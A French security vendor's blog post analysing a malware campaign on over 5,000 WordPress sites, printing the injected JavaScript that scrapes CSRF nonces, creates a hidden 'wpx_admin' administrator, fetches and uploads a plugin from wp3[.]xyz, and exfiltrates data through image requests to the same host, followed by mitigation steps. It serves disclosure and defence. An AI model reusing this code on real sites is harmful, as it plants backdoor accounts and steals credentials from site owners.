Skip to main content
Blog
Blog Attacks

Plus de 5 000 sites WordPress pris dans l'attaque malveillante WP3[.]XYZ

Nous avons découvert une campagne de malware généralisée ciblant les sites WordPress, affectant plus de 5 000 sites dans le monde. Le domaine malveillant : "https://wp3.xyz/plugin[.]php".

Jan 13, 2025 4 min read
new-malware-attack-image-cover

En bref : compte administrateur caché wp3.xyz et upload de plugin via replay CSRF

  • Pas un CVE de plugin : La plupart des guides de sécurisation WordPress citent les vulnérabilités de plugins comme étant le risque. wp3[.]xyz montre que le vrai risque est ce qu'un script malveillant fait après une compromission, et il n'a pas eu besoin d'un nouveau CVE pour implanter la porte dérobée wpx_admin sur plus de 5 000 sites.
  • La chaîne d'attaque : Le script récupérait un token CSRF _wpnonce_create-user, envoyait en POST un compte avec le rôle administrator, puis téléchargeait plugin.php et l'installait via /wp-admin/update.php?action=upload-plugin, exfiltrant les journaux via des balises Image() vers tdw1.php. cside a détecté et stoppé l'attaque sur le site d'un utilisateur en offre gratuite avant que le plugin ne s'active.
  • Allez au-delà du 2FA : Si votre stratégie de sécurisation WordPress s'arrête aux mises à jour de plugins et au 2FA, vous vous protégez contre le mode opératoire d'hier. Ajoutez dès cette semaine une surveillance runtime des scripts qui signale les appels fetch vers /wp-admin/user-new.php depuis des origines tierces.

Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur par cside. Elle couvre tout ce qui suit en un seul déploiement.

Nous avons découvert une campagne de malware généralisée ciblant les sites WordPress, affectant plus de 5 000 sites dans le monde.

Le domaine malveillant : https://wp3[.]xyz/td.js.

L'un de nos utilisateurs a été affecté. cside a détecté et arrêté l'attaque.

Annuaire de domaines cside montrant wp3.xyz signalé comme malveillant
Le crawler de cside a détecté le domaine malveillant

On ne sait toujours pas comment les scripts sont entrés dans les sites. Jusqu'à présent, nous n'avons pas identifié de dénominateur commun, et notre enquête est en cours.

Nous savons que le script crée des comptes administrateur non autorisés avec un nom d'utilisateur et un mot de passe qui peuvent être trouvés dans le code.

  • Nom d'utilisateur : wpx_admin
  • Mot de passe : [CAVIARDÉ]

Après avoir créé le compte, le script télécharge un plugin WordPress malveillant et l'active sur le site désormais infecté - envoyant des données sensibles à un serveur distant.

Vérifiez votre site maintenant pour supprimer tous les comptes administrateur non autorisés et supprimer tous les plugins ou thèmes inutilisés.

Trouvez les sites infectés via :

Le script en détail

Tout d'abord, le script récupère le jeton CSRF nécessaire pour la requête. Ensuite, il envoie une requête POST pour créer un utilisateur avec des identifiants codés en dur. Il enregistre le statut de l'opération.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY CSIDE]');
    formData.append('pass2', '[REDACTED BY CSIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Après que le script a téléchargé le plugin récupéré depuis https://wp3[.]xyz/plugin.php, le script l'active sur le site infecté. Le script communique avec https://wp3[.]xyz/tdw1.php, envoyant des données sensibles telles que les identifiants administrateur et les journaux d'opérations via des requêtes d'images obscurcies.

function sendLog(data) {
    const logUrl = 'https://wp3[.]xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Une fois que l'attaquant a un accès administrateur, le script télécharge un plugin malveillant. Il récupère le plugin depuis un serveur distant et le télécharge sur le site WordPress.

La fonction installPlugin fonctionne comme suit :

  1. Récupère la page de téléchargement du plugin pour obtenir le jeton CSRF.
  2. Télécharge le fichier du plugin malveillant.
  3. Soumet le fichier du plugin pour installation.

Il utilise ensuite les techniques suivantes :

  • Téléchargement du plugin via : /wp-admin/update[.]php?action=upload-plugin.
  • Récupération du plugin depuis une source externe : https://wp3[.]xyz.
async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

Le script vérifie finalement si le plugin malveillant a été installé avec succès en recherchant des références à https://wp3[.]xyz dans le contenu du site web.

const finalCheck = await fetch(window.location.origin, {
    credentials: 'include',
    headers: { 'Accept': 'text/html' }
}).then(r => r.text());

if (finalCheck.includes('wp3[.]xyz')) {
    sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
    sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Protégez-vous contre cette attaque

  1. Bloquez le domaine https://wp3[.]xyz dans les pare-feu ou les outils de sécurité.
  2. Auditez les comptes administrateur WordPress pour détecter les utilisateurs non autorisés.
  3. Supprimez les plugins suspects et validez ceux existants.
  4. Renforcez les protections CSRF et implémentez l'authentification multi-facteurs (MFA).
  5. Envisagez d'utiliser cside

L'utilisateur infecté utilisait la version gratuite de cside. Vous pouvez installer cside pour protéger votre site en quelques minutes contre cette attaque et d'autres similaires.

cside récupère et analyse tous les scripts de notre côté pour une analyse en temps réel, alertant et bloquant ceux potentiellement malveillants. Ce script récupéré depuis https://wp3[.]xyz/tdw.js a été détecté et bloqué avec succès sur le site web de notre utilisateur.

Veuillez nous contacter si vous êtes préoccupé ou souhaitez passer aux niveaux supérieurs.

Vérifiez votre site pour tous les administrateurs, assurez-vous que leurs mots de passe et leur 2FA sont correctement configurés. Vous pouvez utiliser notre crawler public pour vérifier la présence de scripts potentiellement malveillants sur votre site web.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Les sites WordPress compromis chargeaient un script depuis wp3.xyz qui créait des comptes administrateurs cachés et exfiltrait des identifiants. Plus de 5 000 sites étaient touchés au moment de notre rapport, et beaucoup d'autres l'étaient encore des jours plus tard.

Recherchez les mentions de wp3.xyz dans le code source de votre site, supprimez les utilisateurs administrateurs inconnus, et faites tourner tous les identifiants WordPress. L'exécution d'un scanner côté client comme cside permet aussi de détecter les tentatives d'injection que les analyses statiques de plugins ratent.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Nous vous montrerons :

Quels scripts tiers s'exécutent actuellement sur votre site
Où vous en êtes sur les exigences PCI DSS 6.4.3 et 11.6.1
Quelle part de votre trafic provient de bots et d'agents IA

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau